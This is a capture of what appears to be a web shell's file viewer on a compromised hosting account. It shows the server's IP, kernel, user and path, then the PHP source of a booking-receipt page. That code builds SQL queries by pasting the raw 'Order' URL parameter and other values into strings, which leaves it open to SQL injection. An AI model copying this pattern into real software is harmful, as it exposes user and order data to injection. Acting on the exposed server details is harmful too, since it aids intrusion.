|
Server IP : 2a02:4780:11:1017:0:31f1:b895:8 / Your IP : 216.73.216.163 Web Server : LiteSpeed System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u837925013 ( 837925013) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u837925013/domains/tech2wizard.com/public_html/inc/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include('inc/function.php');
if(isset($_GET["Order"])){
$get_order= mysqli_fetch_array($con->query("SELECT * FROM `order` WHERE id='".$_GET["Order"]."'"));
$get_user= mysqli_fetch_array($con->query("SELECT * FROM `users` WHERE id='".$get_order["user_id"]."'"));
$get_store= mysqli_fetch_array($con->query("SELECT * FROM `store` WHERE id='".$get_order["store"]."'"));
$get_contact= mysqli_fetch_array($con->query("SELECT * FROM `page_contact`"));
$get_setting= mysqli_fetch_array($con->query("SELECT * FROM `setting`"));
}else{
echo "<script type='text/javascript'>window.location=\"index.php\";</script>";
}
?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
<script src="//code.jquery.com/jquery-1.11.1.min.js"></script>
<style>
.text-danger strong {
color: #9f181c;
}
.receipt-main {
background: #ffffff none repeat scroll 0 0;
border-bottom: 12px solid #333333;
border-top: 12px solid #9f181c;
margin-top: 50px;
margin-bottom: 50px;
padding: 40px 30px !important;
position: relative;
box-shadow: 0 1px 21px #acacac;
color: #333333;
font-family: open sans;
}
.receipt-main p {
color: #333333;
font-family: open sans;
line-height: 1.42857;
}
.receipt-footer h1 {
font-size: 15px;
font-weight: 400 !important;
margin: 0 !important;
}
.receipt-main::after {
background: #414143 none repeat scroll 0 0;
content: "";
height: 5px;
left: 0;
position: absolute;
right: 0;
top: -13px;
}
.receipt-main thead {
background: #414143 none repeat scroll 0 0;
}
.receipt-main thead th {
color:#fff;
}
.receipt-right h5 {
font-size: 16px;
font-weight: bold;
margin: 0 0 7px 0;
}
.receipt-right p {
font-size: 13px;
margin: 1px 0;
}
.receipt-right p i {
text-align: center;
width: 18px;
}
.receipt-main td {
padding: 9px 20px !important;
}
.receipt-main th {
padding: 13px 20px !important;
}
.receipt-main td {
font-size: 13px;
font-weight: initial !important;
}
.receipt-main td p:last-child {
margin: 0;
padding: 0;
}
.receipt-main td h2 {
font-size: 20px;
font-weight: 900;
margin: 0;
text-transform: uppercase;
}
.receipt-header-mid .receipt-left h1 {
font-weight: 100;
margin: 10px 0 0;
text-align: right;
text-transform: uppercase;
}
.receipt-header-mid {
margin: 24px 0;
overflow: hidden;
}
#container {
background-color: #dcdcdc;
}
</style>
<div class="container">
<div class="row">
<div class="receipt-main col-xs-10 col-sm-10 col-md-6 col-xs-offset-1 col-sm-offset-1 col-md-offset-3">
<div class="row">
<div class="receipt-header">
<div class="col-xs-6 col-sm-6 col-md-6">
<div class="receipt-left">
<img class="img-responsive" alt="iamgurdeeposahan" src="<?php echo IMAGE_SITE_PATH.$get_logo['logo1']?>" style="width:140px;">
</div>
</div>
<div class="col-xs-6 col-sm-6 col-md-6 text-right">
<div class="receipt-right">
<h5><?php echo $get_setting['title'] ?>.</h5>
<p><b>Mobile :</b> <?php echo $get_contact['phone'] ?></p>
<p><b>Email :</b> <?php echo $get_contact['email'] ?></p>
<p><b>Address :</b> <?php echo $get_contact['address'] ?></p>
</div>
</div>
</div>
</div>
<div class="row">
<div class="receipt-header receipt-header-mid">
<div class="col-xs-6 col-sm-6 col-md-6 text-left">
<div class="receipt-right">
<h5><?php echo $get_user['name']; ?></h5>
<p><b>Mobile :</b> <?php echo $get_order['phone']; ?></p>
<p><b>Email :</b> <?php echo $get_order['email']; ?> </p>
<p><b>Address :</b> <?php echo $get_order['address']; ?></p>
</div>
</div>
<div class="col-xs-6 col-sm-6 col-md-6">
<div class="receipt-left text-right">
<p><b>Booking ID :</b> <?php echo $get_order['orderID'] ?></p>
<p><b>Invoice :</b> INV000<?php echo $get_order['id'] ?> </p>
<h1>Receipt</h1>
</div>
</div>
</div>
</div>
<div>
<table class="table table-bordered">
<thead>
<tr>
<th>Brand </th>
<th>Model </th>
<th>Service </th>
<th>Price</th>
</tr>
</thead>
<tbody>
<?php
$sql= "SELECT * FROM `order_detail` WHERE order_id='".$get_order['id']."' ORDER BY id DESC";
$qry= mysqli_query($con,$sql);
while($data= mysqli_fetch_array($qry)) {
$get_service= mysqli_fetch_array($con->query("SELECT * FROM `service` WHERE id='".$data["service_id"]."'"));
?>
<tr>
<td class="col-md-3">
<?php
$get_brand= mysqli_fetch_array($con->query("SELECT * FROM `brand` WHERE id='".$get_service["brand_id"]."'"));
echo $get_brand['brand'];
?>
</td>
<td class="col-md-3">
<?php
$get_model= mysqli_fetch_array($con->query("SELECT * FROM `model` WHERE id='".$get_service["model_id"]."'"));
echo $get_model['model'];
?>
</td>
<td class="col-md-3"><?php echo $get_service['service_name']; ?></td>
<td class="col-md-3"><?php echo '₹ '.number_format($get_service['price'],2,".",",");;?></td>
</tr>
<?php } ?>
</tbody>
</table>
<div class="text-right">
<?php if(!empty($get_order['coupon_code'])){ ?>
<h4><strong>DISCOUNT: </strong> <?php echo '₹ '.number_format($get_order['coupon_value'],2,".",","); ?></h4>
<?php } ?>
<h2><strong>TOTAL: </strong> <?php echo '₹ '.number_format($get_order['total_price'],2,".",","); ?></h2>
</div>
</div>
<div class="row">
<div class="receipt-header receipt-header-mid receipt-footer">
<div class="col-xs-8 col-sm-8 col-md-8 text-left">
<div class="receipt-right">
<p><b>Issue Date :</b> <?php echo date("d M Y"); ?></p>
<h5 style="color: rgb(140, 140, 140);">Thank you for your Booking</h5>
</div>
</div>
<div class="col-xs-4 col-sm-4 col-md-4">
<div class="receipt-left">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script>
window.onload = function () {
window.print();
}
</script>
<script language=JavaScript>
<!--
function windowOnAfterPrint()
{
window.location.href = 'dashboard.php';
}
window.onafterprint = windowOnAfterPrint;
// -->
</script>